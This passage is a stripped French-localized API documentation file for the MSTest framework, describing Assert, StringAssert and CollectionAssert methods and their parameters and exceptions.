s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Lève AssertFailedException. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Les surcharges statiques d'equals comparent les instances de deux types pour déterminer si leurs références sont - égales entre elles. Cette méthode ne doit pas être utilisée pour évaluer si deux instances sont - égales entre elles. Cet objet est toujours levé avec Assert.Fail. Utilisez - Assert.AreEqual et les surcharges associées dans vos tests unitaires. - - Objet A - Objet B - False, toujours. - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Remplace les caractères Null ('\0') par "\\0". - - - Chaîne à rechercher. - - - Chaîne convertie où les caractères null sont remplacés par "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Fonction d'assistance qui crée et lève AssertionFailedException - - - nom de l'assertion levant une exception - - - message décrivant les conditions de l'échec d'assertion - - - Paramètres. - - - - - Vérifie la validité des conditions du paramètre - - - Paramètre. - - - Nom de l'assertion. - - - nom du paramètre - - - message d'exception liée à un paramètre non valide - - - Paramètres. - - - - - Convertit en toute sécurité un objet en chaîne, en gérant les valeurs null et les caractères Null. - Les valeurs null sont converties en "(null)". Les caractères Null sont convertis en "\\0". - - - Objet à convertir en chaîne. - - - Chaîne convertie. - - - - - Assertion de chaîne. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Message à inclure dans l'exception quand - ne commence pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not begin with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Thrown if does not end with - . - - - - - Teste si la chaîne indiquée finit par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne finit pas par la - sous-chaîne. - - - Chaîne censée finir par . - - - Chaîne censée être un suffixe de . - - - Message à inclure dans l'exception quand - ne finit pas par . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not end with - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée correspond à une expression régulière, et - lève une exception si la chaîne ne correspond pas à l'expression. - - - Chaîne censée correspondre à . - - - Expression régulière qui est - censé correspondre. - - - Message à inclure dans l'exception quand - ne correspond pas . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not match - . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Thrown if matches . - - - - - Teste si la chaîne spécifiée ne correspond pas à une expression régulière - et lève une exception si la chaîne correspond à l'expression. - - - Chaîne censée ne pas correspondre à . - - - Expression régulière qui est - censé ne pas correspondre. - - - Message à inclure dans l'exception quand - correspond à . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if matches . - - - - - Collection de classes d'assistance permettant de tester diverses conditions associées - à des collections dans les tests unitaires. Si la condition testée n'est pas - remplie, une exception est levée. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée contient l'élément spécifié - et lève une exception si l'élément n'est pas dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé se trouver dans la collection. - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Thrown if is found in - . - - - - - Teste si la collection indiquée ne contient pas l'élément spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is found in - . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is not found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if every element in is also found in - . - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si tous les éléments de la collection spécifiée sont 